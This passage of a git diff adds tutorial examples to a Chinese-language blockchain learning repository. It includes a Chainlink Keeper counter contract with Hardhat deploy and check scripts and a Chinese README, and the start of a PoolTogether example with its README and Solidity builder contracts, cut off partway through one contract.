+    const authContract = await authContractFactory.deploy({
+      lucky_user: publicKeyFelt,
+      initial_balance: 1000
+    });
+    console.log("Deployed authContract at", authContract.address);
+
+    const messageHash = pedersen([amount,0]);
+    const signedMessage = sign(keyPair, messageHash);
+    const signature = [// previously calculated for amount and publicKey used in this case
+      BigInt("0x" + signedMessage.r.toString(16)),
+      BigInt("0x" + signedMessage.s.toString(16))
+    ];
+
+    await authContract.invoke("increase_balance", {
+      user: publicKeyFelt,
+      amount: amount
+    }, signature);
+
+    const { res: balance } = await authContract.call("get_balance", {
+      user: publicKeyFelt
+    });
+    expect(balance).to.deep.equal(5321n);
+  });
+});
diff --git a/basic/31-starkNet-layer2/starknet-hardhat/tsconfig.json b/basic/31-starkNet-layer2/starknet-hardhat/tsconfig.json
new file mode 100644
index 000000000..22dad01db
--- /dev/null
+++ b/basic/31-starkNet-layer2/starknet-hardhat/tsconfig.json
@@ -0,0 +1,11 @@
+{
+    "compilerOptions": {
+      "target": "es2020",
+      "module": "commonjs",
+      "strict": true,
+      "esModuleInterop": true,
+      "outDir": "dist"
+    },
+    "include": ["./scripts", "./test"],
+    "files": ["./hardhat.config.ts"]
+}
diff --git a/basic/32-chainlink-keeper/.env.example b/basic/32-chainlink-keeper/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/32-chainlink-keeper/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/32-chainlink-keeper/.gitignore b/basic/32-chainlink-keeper/.gitignore
new file mode 100644
index 000000000..03944dc45
--- /dev/null
+++ b/basic/32-chainlink-keeper/.gitignore
@@ -0,0 +1,6 @@
+node_modules
+.env
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/32-chainlink-keeper/README.md b/basic/32-chainlink-keeper/README.md
new file mode 100644
index 000000000..31bedaff5
--- /dev/null
+++ b/basic/32-chainlink-keeper/README.md
@@ -0,0 +1,101 @@
+## 前言
+
+在区块链的网络中, 智能合约无法自动调用他们自己的合约方法, 只能通过外部调用进行触发.  
+为此, ChainLink 提供了自动调度服务, 通过注册 ChainLink 的 Keeper, 就可以自动触发合约中的接口.
+
+为方便代码测试, 在 .env 中放入的私钥 和 INFURA_ID，样例文件可参考 .env.example
+
+## 原理解析  
+- Keeper 接口合约  
+ChainLink 自动触发合约调用中涉及到的主要合约为 Keeper 接口合约.  
+在 Keeper 接口合约中需要实现两个接口 checkUpkeep 和 performUpkeep. 其中 checkUpkeep 用于检查是否出发具体的业务逻辑, 当接口返回 true 的时候时候才去触发业务逻辑.  
+performUpkeep 用于执行具体的业务逻辑, 或是调用其他的合约处理业务.
+
+- 场景举例  
+小明实现了 Keeper 接口合约, 名字为 KeeperTask, 其中 checkUpkeep 用于判断小明账户余额是否大于 100, performUpkeep 用于给老婆转账, 设定 Keeper 执行周期为每天 11:00.  
+10.1 号当前, 小明发了工资, 账户收到 1000, Keeper 服务在 11:00 的时候触发, 调用 checkUpkeep 接口, 发现小明账户余额有 1000, 接着 Keeper 调用 performUpkeep 接口, 把小明账户中的钱转给小明的老婆.
+
+## 合约功能说明
+
+- KeeperCompatibleInterface  
+  checkUpkeep: ChainLink 用于判断是否触发接口调用的检查函数. 当此函数返回为 true 时, ChainLink 会自动调用合约的 performUpkeep 接口  
+  performUpkeep: ChainLink 自动调度的执行接口, 具体的业务逻辑在这个接口里面进行封装
+
+- Counter  
+  样例合约, 实现了 KeeperCompatibleInterface 接口合约中定义的接口. 为了测试方便, 这里设置 checkUpkeep 判断条件为每 10s 执行一次
+
+## 操作流程
+
+- 获取测试 LINK 币
+  使用 Keeper 功能需要支付 LINK 代币, 因为使用 kovan 测试网路进行测试, 这里可以前往 (Testnet LINK)[https://kovan.chain.link/] 进行获取
+
+- 安装依赖
+
+  ```bash
+  yarn
+  ```
+
+- 合约编译
+
+  ```bash
+  npx hardhat compile
+  ```
+
+- 执行合约部署
+
+  ```bash
+  npx hardhat run scripts/deployCounter.js --network kovan
+  ```
+
+- 注册 keeper  
+  前往 [ChainLink 官网](https://docs.chain.link/docs/chainlink-keepers/register-upkeep/) 上点击 "ChainLink Keeper App", 然后根据提示进行注册即可.  
+  这里需要注意的是, 运行 keeper 最少需要注入 75 的 LinK 测试币
+  <center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/32-chainlink-keeper/keeper.png?raw=true" /></center>
+
+- 检查结果  
+  keeper 运行一段时间后, 就可以检查结果. 执行如下脚本, 检查输出是否正确
+
+  ```bash
+  npx hardhat run scripts/checkCounterResult.js --network kovan
+  ```
+
+## deployCounter.js 主逻辑说明
+
+- 合约部署
+  如下, 进行 Counter 合约部署, 同时传入参数为 10, 表示后续 keeper 每 10s 自动触发执行
+
+  ```js
+  const counterFactory = await ethers.getContractFactory('Counter');
+  const counterContract = await counterFactory.deploy(10);
+  ```
+
+- 保存合约地址  
+  如下, 保存成功部署的合约地址到 .json 文件, 供后续 checkCounterResult.js 脚本使用
+
+  ```js
+  const contractAddressFile = __dirname + '/CounterContractaddress.json';
+  fs.writeFileSync(contractAddressFile, JSON.stringify({ address: counterContract.address }, undefined, 2));
+  ```
+
+## checkCounterResult.js 主逻辑说明
+
+- 加载合约实例
+  使用 deployCounter.js 脚本部署成功的合约地址加载 Counter 合约实例
+
+  ```js
+  const providerContract = new ethers.Contract(counterContractAddress.address, artifact.abi, provider);
+  ```
+
+- 检查结果  
+  检查 Counter 合约中 counter 变量的值.
+  这里可以现在 keeper 上停止 keeper 运行, 然后统计 keeper 执行的次数, 最后对比输出是否正确
+
+  ```js
+  const counterVal = await providerContract.counter();
+  console.log('The value of counter is :', parseInt(counterVal));
+  ```
+
+## 参考文档
+chainlink-keepers 文档:  https://docs.chain.link/docs/chainlink-keepers/introduction/   
+gelato.finance 官网: http://gelato.finance/ 
+
diff --git a/basic/32-chainlink-keeper/contracts/Counter.sol b/basic/32-chainlink-keeper/contracts/Counter.sol
new file mode 100644
index 000000000..57d72ad78
--- /dev/null
+++ b/basic/32-chainlink-keeper/contracts/Counter.sol
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.6;
+
+import "./interfaces/AggregatorV3Interface.sol";
+import "./interfaces/KeeperCompatibleInterface.sol";
+
+contract Counter is KeeperCompatibleInterface {
+    /**
+    * Public counter variable
+    */
+    uint public counter;
+
+    /**
+    * Use an interval in seconds and a timestamp to slow execution of Upkeep
+    */
+    uint public immutable interval;
+    uint public lastTimeStamp;
+    
+    constructor(uint updateInterval) public {
+      interval = updateInterval;
+      lastTimeStamp = block.timestamp;
+
+      counter = 0;
+    }
+
+    function checkUpkeep(bytes calldata /* checkData */) external override returns (bool upkeepNeeded, bytes memory /* performData */) {
+        upkeepNeeded = (block.timestamp - lastTimeStamp) > interval;
+        // We don't use the checkData in this example. The checkData is defined when the Upkeep was registered.
+    }
+
+    function performUpkeep(bytes calldata /* performData */) external override {
+        lastTimeStamp = block.timestamp;
+        counter = counter + 1;
+        // We don't use the performData in this example. The performData is generated by the Keeper's call to your checkUpkeep function
+    }   
+}
+
diff --git a/basic/32-chainlink-keeper/contracts/interfaces/AggregatorV3Interface.sol b/basic/32-chainlink-keeper/contracts/interfaces/AggregatorV3Interface.sol
new file mode 100644
index 000000000..9301e365d
--- /dev/null
+++ b/basic/32-chainlink-keeper/contracts/interfaces/AggregatorV3Interface.sol
@@ -0,0 +1,54 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.6;
+
+interface AggregatorV3Interface {
+
+  function decimals()
+    external
+    view
+    returns (
+      uint8
+    );
+
+  function description()
+    external
+    view
+    returns (
+      string memory
+    );
+
+  function version()
+    external
+    view
+    returns (
+      uint256
+    );
+
+  // getRoundData and latestRoundData should both raise "No data present"
+  // if they do not have data to report, instead of returning unset values
+  // which could be misinterpreted as actual reported values.
+  function getRoundData(
+    uint80 _roundId
+  )
+    external
+    view
+    returns (
+      uint80 roundId,
+      int256 answer,
+      uint256 startedAt,
+      uint256 updatedAt,
+      uint80 answeredInRound
+    );
+
+  function latestRoundData()
+    external
+    view
+    returns (
+      uint80 roundId,
+      int256 answer,
+      uint256 startedAt,
+      uint256 updatedAt,
+      uint80 answeredInRound
+    );
+
+}
diff --git a/basic/32-chainlink-keeper/contracts/interfaces/KeeperCompatibleInterface.sol b/basic/32-chainlink-keeper/contracts/interfaces/KeeperCompatibleInterface.sol
new file mode 100644
index 000000000..8903049e3
--- /dev/null
+++ b/basic/32-chainlink-keeper/contracts/interfaces/KeeperCompatibleInterface.sol
@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.6;
+
+interface KeeperCompatibleInterface {
+
+  /**
+   * @notice checks if the contract requires work to be done.
+   * @param checkData data passed to the contract when checking for upkeep.
+   * @return upkeepNeeded boolean to indicate whether the keeper should call
+   * performUpkeep or not.
+   * @return performData bytes that the keeper should call performUpkeep with,
+   * if upkeep is needed.
+   */
+  function checkUpkeep(
+    bytes calldata checkData
+  )
+    external
+    returns (
+      bool upkeepNeeded,
+      bytes memory performData
+    );
+
+  /**
+   * @notice Performs work on the contract. Executed by the keepers, via the registry.
+   * @param performData is the data which was passed back from the checkData
+   * simulation.
+   */
+  function performUpkeep(
+    bytes calldata performData
+  ) external;
+}
diff --git a/basic/32-chainlink-keeper/hardhat.config.js b/basic/32-chainlink-keeper/hardhat.config.js
new file mode 100644
index 000000000..0e4593532
--- /dev/null
+++ b/basic/32-chainlink-keeper/hardhat.config.js
@@ -0,0 +1,70 @@
+require("@nomiclabs/hardhat-waffle");
+require('dotenv').config()
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+ }
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.5.4"
+      },
+      {
+        version: "0.6.6",
+        settings: {}
+      },
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
diff --git a/basic/32-chainlink-keeper/package.json b/basic/32-chainlink-keeper/package.json
new file mode 100644
index 000000000..0ac2161e4
--- /dev/null
+++ b/basic/32-chainlink-keeper/package.json
@@ -0,0 +1,23 @@
+{
+  "name": "32-chainlink-alarm",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.1"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/32-chainlink-keeper/scripts/CounterContractaddress.json b/basic/32-chainlink-keeper/scripts/CounterContractaddress.json
new file mode 100644
index 000000000..b12a86d53
--- /dev/null
+++ b/basic/32-chainlink-keeper/scripts/CounterContractaddress.json
@@ -0,0 +1,3 @@
+{
+  "address": "0x2214F78eB590Bd14C8EF35454bb0eccC95eA0504"
+}
\ No newline at end of file
diff --git a/basic/32-chainlink-keeper/scripts/checkCounterResult.js b/basic/32-chainlink-keeper/scripts/checkCounterResult.js
new file mode 100644
index 000000000..62551a3a4
--- /dev/null
+++ b/basic/32-chainlink-keeper/scripts/checkCounterResult.js
@@ -0,0 +1,33 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require("hardhat");
+const fs = require("fs");
+const counterContractAddress = require("./CounterContractaddress.json");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const artifact = artifacts.readArtifactSync("Counter");
+  const provider = new ethers.providers.InfuraProvider("kovan");
+
+  const providerContract = new ethers.Contract(
+    counterContractAddress.address,
+    artifact.abi,
+    provider
+  );
+
+  // Check the value of counter
+  const counterVal = await providerContract.counter();
+  console.log("The value of counter is :", parseInt(counterVal));
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/32-chainlink-keeper/scripts/deployCounter.js b/basic/32-chainlink-keeper/scripts/deployCounter.js
new file mode 100644
index 000000000..1cfa72eca
--- /dev/null
+++ b/basic/32-chainlink-keeper/scripts/deployCounter.js
@@ -0,0 +1,36 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require("hardhat");
+const fs = require("fs");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log("Deploying contracts with the account:", deployer.address);
+
+  console.log("Account balance:", (await deployer.getBalance()).toString());
+
+  const counterFactory = await ethers.getContractFactory("Counter");
+  const counterContract = await counterFactory.deploy(10);
+
+  console.log("Counter address:", counterContract.address);
+
+  // Writer Contract address to file
+  const contractAddressFile = __dirname + "/CounterContractaddress.json";
+  fs.writeFileSync(
+    contractAddressFile,
+    JSON.stringify({ address: counterContract.address }, undefined, 2)
+  );
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/33-pooltogether/.env.example b/basic/33-pooltogether/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/33-pooltogether/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/33-pooltogether/.gitignore b/basic/33-pooltogether/.gitignore
new file mode 100644
index 000000000..03944dc45
--- /dev/null
+++ b/basic/33-pooltogether/.gitignore
@@ -0,0 +1,6 @@
+node_modules
+.env
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/33-pooltogether/README.md b/basic/33-pooltogether/README.md
new file mode 100644
index 000000000..9af3221ba
--- /dev/null
+++ b/basic/33-pooltogether/README.md
@@ -0,0 +1,25 @@
+## PoolTogether 介绍  
+PoolTogether 是一个无损彩票协议. 用户要参与就需要存钱进去买他的彩票, 这部分作为本金会被 PoolTogether 存入到 Compound 等 DeFi 平台中赚取利息, 然后平台会一段时间开一次奖, 中奖的玩家可以拿到 DeFi 平台中这段时间的理财收益。因为整个过程中平台没有任何抽佣, 所以叫无损彩票。
+
+在奖池开设期间，加注或者取消下注，平台不会对用户进行惩罚措施。中奖的可能性取决于在奖池开设期间存款的数目与时间。如：对于一个七天的奖池，用户A在第一天存入了$100，存放了七天直到开奖，那么A的平均存放数额为($100*7day)/7day=$100；而B在开奖前最后一天存入$200，则B的平均存放数额为$200/7day=$28.57。
+
+目前, 平台上还提供组队的玩法, 玩家们可以参与到队伍中提高自己的中奖概率, 但是最后的奖金整个团队将会按照玩家手上的彩票数量来进行瓜分。PoolTogether在Ethereum、Binance、Polygon上开设了多个奖池，开奖时间从每日到每周不等。
+
+## POOL token
+POOL token 控制 PoolTogether 协议以确保去中心化和社区所有权。代币持有者管理协议以促进社区的增长。
+POOL token的总发行量为1千万枚(10 million)，目前有48%的token尚未发行，52%的token按照以下规则发行：1.5 million tokens给该项目的早期用户；1.2 million tokens给该项目协议的早期贡献者，该部分token将锁定到2022年2月17日；750000 tokens给该项目的投资者，该部分token同样锁定到2022年2月17日;411000 tokens给帮助协议分支的贡献者，这些代币有一年的期限，并从2022年5月开始解锁。
+用户将token存入奖池以增加奖池的金额，而逐渐增长的金额会吸引玩家加入，相较于传统金融账户，PoolTogether具有较高的收益率。
+但是，该协议存在“冷启动”问题：奖池吸引存款需要大额的奖金，但奖池在初期没有大额奖金，难以吸引用户。因此，PoolTogether提出了两种机制有助于克服这个问题：Reserve Capture 和 POOL token distribution。
+
+POOL token distribution：POOL token的提出解决了冷启动问题。在早期阶段，当奖池的增长还不足以达到吸引用户的速度时，分发POOL token作为额外奖励被写入到协议中。通过吸引用户持有POOL token以增加token的价格，这样增加了总奖池的金额。随着奖池金额的增加，额外分配的POOL token数目会不断减少。
+
+Reserve Capture：Reverse Capture是保存在奖池中的“储蓄金”，由POOL token持有者控制的每次奖品的百分比。用于储备金的资金使奖品金额更大，而不会降低中奖的几率。而奖品的发放反过来有助于吸引更大的储备量。这创造了一个永久的增长周期。从数学上讲，增加了PoolTogether存款的预期价值。大量储备加速了增长速度。
+Reverse Capture还可以作为一种机制来奖励在早期阶段帮助引导协议的POOL持有者，可以将其作为奖励分配给那些质押其POOL代币的人。
+
+## 参考文档  
+官网: https://pooltogether.com/  
+官网文档:  https://docs.pooltogether.com/  
+github 仓库:  https://github.com/pooltogether/documentation/blob/master/resources.md   
+项目介绍:  https://www.chainnews.com/articles/517264806415.htm  
+twitter: https://twitter.com/PoolTogether_  
+medium: https://medium.com/pooltogether  
diff --git a/basic/33-pooltogether/contracts/Constants.sol b/basic/33-pooltogether/contracts/Constants.sol
new file mode 100644
index 000000000..3d9894abb
--- /dev/null
+++ b/basic/33-pooltogether/contracts/Constants.sol
@@ -0,0 +1,8 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+
+library Constants {
+  bytes4 public constant ERC165_INTERFACE_ID_ERC165 = 0x01ffc9a7;
+  bytes4 public constant ERC165_INTERFACE_ID_ERC721 = 0x80ac58cd;
+}
\ No newline at end of file
diff --git a/basic/33-pooltogether/contracts/builders/ControlledTokenBuilder.sol b/basic/33-pooltogether/contracts/builders/ControlledTokenBuilder.sol
new file mode 100644
index 000000000..c56d78215
--- /dev/null
+++ b/basic/33-pooltogether/contracts/builders/ControlledTokenBuilder.sol
@@ -0,0 +1,68 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "../token/ControlledTokenProxyFactory.sol";
+import "../token/TicketProxyFactory.sol";
+
+/* solium-disable security/no-block-members */
+contract ControlledTokenBuilder {
+
+  event CreatedControlledToken(address indexed token);
+  event CreatedTicket(address indexed token);
+
+  ControlledTokenProxyFactory public controlledTokenProxyFactory;
+  TicketProxyFactory public ticketProxyFactory;
+
+  struct ControlledTokenConfig {
+    string name;
+    string symbol;
+    uint8 decimals;
+    TokenControllerInterface controller;
+  }
+
+  constructor (
+    ControlledTokenProxyFactory _controlledTokenProxyFactory,
+    TicketProxyFactory _ticketProxyFactory
+  ) public {
+    require(address(_controlledTokenProxyFactory) != address(0), "ControlledTokenBuilder/controlledTokenProxyFactory-not-zero");
+    require(address(_ticketProxyFactory) != address(0), "ControlledTokenBuilder/ticketProxyFactory-not-zero");
+    controlledTokenProxyFactory = _controlledTokenProxyFactory;
+    ticketProxyFactory = _ticketProxyFactory;
+  }
+
+  function createControlledToken(
+    ControlledTokenConfig calldata config
+  ) external returns (ControlledToken) {
+    ControlledToken token = controlledTokenProxyFactory.create();
+
+    token.initialize(
+      config.name,
+      config.symbol,
+      config.decimals,
+      config.controller
+    );
+
+    emit CreatedControlledToken(address(token));
+
+    return token;
+  }
+
+  function createTicket(
+    ControlledTokenConfig calldata config
+  ) external returns (Ticket) {
+    Ticket token = ticketProxyFactory.create();
+
+    token.initialize(
+      config.name,
+      config.symbol,
+      config.decimals,
+      config.controller
+    );
+
+    emit CreatedTicket(address(token));
+
+    return token;
+  }
+}
diff --git a/basic/33-pooltogether/contracts/builders/MultipleWinnersBuilder.sol b/basic/33-pooltogether/contracts/builders/MultipleWinnersBuilder.sol
new file mode 100644
index 000000000..eead394cd
--- /dev/null
+++ b/basic/33-pooltogether/contracts/builders/MultipleWinnersBuilder.sol
@@ -0,0 +1,118 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "./ControlledTokenBuilder.sol";
+import "../prize-strategy/multiple-winners/MultipleWinnersProxyFactory.sol";
+
+/* solium-disable security/no-block-members */
+contract MultipleWinnersBuilder {
+
+  event MultipleWinnersCreated(address indexed prizeStrategy);
+
+  struct MultipleWinnersConfig {
+    RNGInterface rngService;
+    uint256 prizePeriodStart;
+    uint256 prizePeriodSeconds;
+    string ticketName;
+    string ticketSymbol;
+    string sponsorshipName;
+    string sponsorshipSymbol;
+    uint256 ticketCreditLimitMantissa;
+    uint256 ticketCreditRateMantissa;
+    uint256 numberOfWinners;
+    MultipleWinners.PrizeSplitConfig[] prizeSplits;
+    bool splitExternalErc20Awards;
+  }
+
+  MultipleWinnersProxyFactory public multipleWinnersProxyFactory;
+  ControlledTokenBuilder public controlledTokenBuilder;
+
+  constructor (
+    MultipleWinnersProxyFactory _multipleWinnersProxyFactory,
+    ControlledTokenBuilder _controlledTokenBuilder
+  ) public {
+    require(address(_multipleWinnersProxyFactory) != address(0), "MultipleWinnersBuilder/multipleWinnersProxyFactory-not-zero");
+    require(address(_controlledTokenBuilder) != address(0), "MultipleWinnersBuilder/token-builder-not-zero");
+    multipleWinnersProxyFactory = _multipleWinnersProxyFactory;
+    controlledTokenBuilder = _controlledTokenBuilder;
+  }
+
+  function createMultipleWinners(
+    PrizePool prizePool,
+    MultipleWinnersConfig memory prizeStrategyConfig,
+    uint8 decimals,
+    address owner
+  ) external returns (MultipleWinners) {
+    MultipleWinners mw = multipleWinnersProxyFactory.create();
+
+    Ticket ticket = _createTicket(
+      prizeStrategyConfig.ticketName,
+      prizeStrategyConfig.ticketSymbol,
+      decimals,
+      prizePool
+    );
+
+    ControlledToken sponsorship = _createSponsorship(
+      prizeStrategyConfig.sponsorshipName,
+      prizeStrategyConfig.sponsorshipSymbol,
+      decimals,
+      prizePool
+    );
+
+    mw.initializeMultipleWinners(
+      prizeStrategyConfig.prizePeriodStart,
+      prizeStrategyConfig.prizePeriodSeconds,
+      prizePool,
+      ticket,
+      sponsorship,
+      prizeStrategyConfig.rngService,
+      prizeStrategyConfig.numberOfWinners
+    );
+
+    mw.setPrizeSplits(prizeStrategyConfig.prizeSplits);
+
+    if (prizeStrategyConfig.splitExternalErc20Awards) {
+      mw.setSplitExternalErc20Awards(true);
+    }
+
+    mw.transferOwnership(owner);
+
+    emit MultipleWinnersCreated(address(mw));
+
+    return mw;
+  }
+
+  function _createTicket(
+    string memory name,
+    string memory token,
+    uint8 decimals,
+    PrizePool prizePool
+  ) internal returns (Ticket) {
+    return controlledTokenBuilder.createTicket(
+      ControlledTokenBuilder.ControlledTokenConfig(
+        name,
+        token,
+        decimals,
+        prizePool
+      )
+    );
+  }
+
+  function _createSponsorship(
+    string memory name,
+    string memory token,
+    uint8 decimals,
+    PrizePool prizePool
+  ) internal returns (ControlledToken) {
+    return controlledTokenBuilder.createControlledToken(
+      ControlledTokenBuilder.ControlledTokenConfig(
+        name,
+        token,
+        decimals,
+        prizePool
+      )
+    );
+  }
+}
diff --git a/basic/33-pooltogether/contracts/builders/PoolWithMultipleWinnersBuilder.sol b/basic/33-pooltogether/contracts/builders/PoolWithMultipleWinnersBuilder.sol
new file mode 100644
index 000000000..8d8f09a75
--- /dev/null
+++ b/basic/33-pooltogether/contracts/builders/PoolWithMultipleWinnersBuilder.sol
@@ -0,0 +1,169 @@
+// SPDX-License-Identifier: GPL-3.0
+
+pragma solidity 0.6.12;
+pragma experimental ABIEncoderV2;
+
+import "@openzeppelin/contracts-upgradeable/utils/SafeCastUpgradeable.sol";
+import "@pooltogether/yield-source-interface/contracts/IYieldSource.sol";
+
+import "../registry/RegistryInterface.sol";
+import "../prize-pool/compound/CompoundPrizePoolProxyFactory.sol";
+import "../prize-pool/yield-source/YieldSourcePrizePoolProxyFactory.sol";
+import "../prize-pool/stake/StakePrizePoolProxyFactory.sol";
+import "./MultipleWinnersBuilder.sol";
+
+contract PoolWithMultipleWinnersBuilder {
+  using SafeCastUpgradeable for uint256;
+
+  event CompoundPrizePoolWithMultipleWinnersCreated(
+    CompoundPrizePool indexed prizePool,
+    MultipleWinners indexed prizeStrategy
+  );
+
+  event YieldSourcePrizePoolWithMultipleWinnersCreated(
+    YieldSourcePrizePool indexed prizePool,
+    MultipleWinners indexed prizeStrategy
+  );
+
+  event StakePrizePoolWithMultipleWinnersCreated(
+    StakePrizePool indexed prizePool,
+    MultipleWinners indexed prizeStrategy
+  );
+
+  /// @notice The configuration used to initialize the Compound Prize Pool
+  struct CompoundPrizePoolConfig {
+    CTokenInterface cToken;
+    uint256 maxExitFeeMantissa;
+  }
+
+  /// @notice The configuration used to initialize the Compound Prize Pool
+  struct YieldSourcePrizePoolConfig {
+    IYieldSource yieldSource;
+    uint256 maxExitFeeMantissa;
+  }
+
+  struct StakePrizePoolConfig {
+    IERC20Upgradeable token;
+    uint256 maxExitFeeMantissa;
+  }
+
+  RegistryInterface public reserveRegistry;
+  CompoundPrizePoolProxyFactory public compoundPrizePoolProxyFactory;
+  YieldSourcePrizePoolProxyFactory public yieldSourcePrizePoolProxyFactory;
+  StakePrizePoolProxyFactory public stakePrizePoolProxyFactory;
+  MultipleWinnersBuilder public multipleWinnersBuilder;
+
+  constructor (
+    RegistryInterface _reserveRegistry,
+    CompoundPrizePoolProxyFactory _compoundPrizePoolProxyFactory,
+    YieldSourcePrizePoolProxyFactory _yieldSourcePrizePoolProxyFactory,
+    StakePrizePoolProxyFactory _stakePrizePoolProxyFactory,
+    MultipleWinnersBuilder _multipleWinnersBuilder
+  ) public {
+    require(address(_reserveRegistry) != address(0), "GlobalBuilder/reserveRegistry-not-zero");
+    require(address(_compoundPrizePoolProxyFactory) != address(0), "GlobalBuilder/compoundPrizePoolProxyFactory-not-zero");
+    require(address(_yieldSourcePrizePoolProxyFactory) != address(0), "GlobalBuilder/yieldSourcePrizePoolProxyFactory-not-zero");
+    require(address(_stakePrizePoolProxyFactory) != address(0), "GlobalBuilder/stakePrizePoolProxyFactory-not-zero");
+    require(address(_multipleWinnersBuilder) != address(0), "GlobalBuilder/multipleWinnersBuilder-not-zero");
+    reserveRegistry = _reserveRegistry;
+    compoundPrizePoolProxyFactory = _compoundPrizePoolProxyFactory;
+    yieldSourcePrizePoolProxyFactory = _yieldSourcePrizePoolProxyFactory;
+    stakePrizePoolProxyFactory = _stakePrizePoolProxyFactory;
+    multipleWinnersBuilder = _multipleWinnersBuilder;
+  }
+
+  function createCompoundMultipleWinners(
+    CompoundPrizePoolConfig memory prizePoolConfig,
+    MultipleWinnersBuilder.MultipleWinnersConfig memory prizeStrategyConfig,
+    uint8 decimals
+  ) external returns (CompoundPrizePool) {
+    CompoundPrizePool prizePool = compoundPrizePoolProxyFactory.create();
+    MultipleWinners prizeStrategy = multipleWinnersBuilder.createMultipleWinners(
+      prizePool,
+      prizeStrategyConfig,
+      decimals,
+      msg.sender
+    );
+    prizePool.initialize(
+      reserveRegistry,
+      _tokens(prizeStrategy),
+      prizePoolConfig.maxExitFeeMantissa,
+      CTokenInterface(prizePoolConfig.cToken)
+    );
+    prizePool.setPrizeStrategy(prizeStrategy);
+    prizePool.setCreditPlanOf(
+      address(prizeStrategy.ticket()),
+      prizeStrategyConfig.ticketCreditRateMantissa.toUint128(),
+      prizeStrategyConfig.ticketCreditLimitMantissa.toUint128()
+    );
+    prizePool.transferOwnership(msg.sender);
+    emit CompoundPrizePoolWithMultipleWinnersCreated(prizePool, prizeStrategy);
+    return prizePool;
+  }
+
+  function createYieldSourceMultipleWinners(
+    YieldSourcePrizePoolConfig memory prizePoolConfig,
+    MultipleWinnersBuilder.MultipleWinnersConfig memory prizeStrategyConfig,
+    uint8 decimals
+  ) external returns (YieldSourcePrizePool) {
+    YieldSourcePrizePool prizePool = yieldSourcePrizePoolProxyFactory.create();
+    MultipleWinners prizeStrategy = multipleWinnersBuilder.createMultipleWinners(
+      prizePool,
+      prizeStrategyConfig,
+      decimals,
+      msg.sender
+    );
+    prizePool.initializeYieldSourcePrizePool(
+      reserveRegistry,
+      _tokens(prizeStrategy),
+      prizePoolConfig.maxExitFeeMantissa,
+      prizePoolConfig.yieldSource
+    );
+    prizePool.setPrizeStrategy(prizeStrategy);
+    prizePool.setCreditPlanOf(
+      address(prizeStrategy.ticket()),
+      prizeStrategyConfig.ticketCreditRateMantissa.toUint128(),
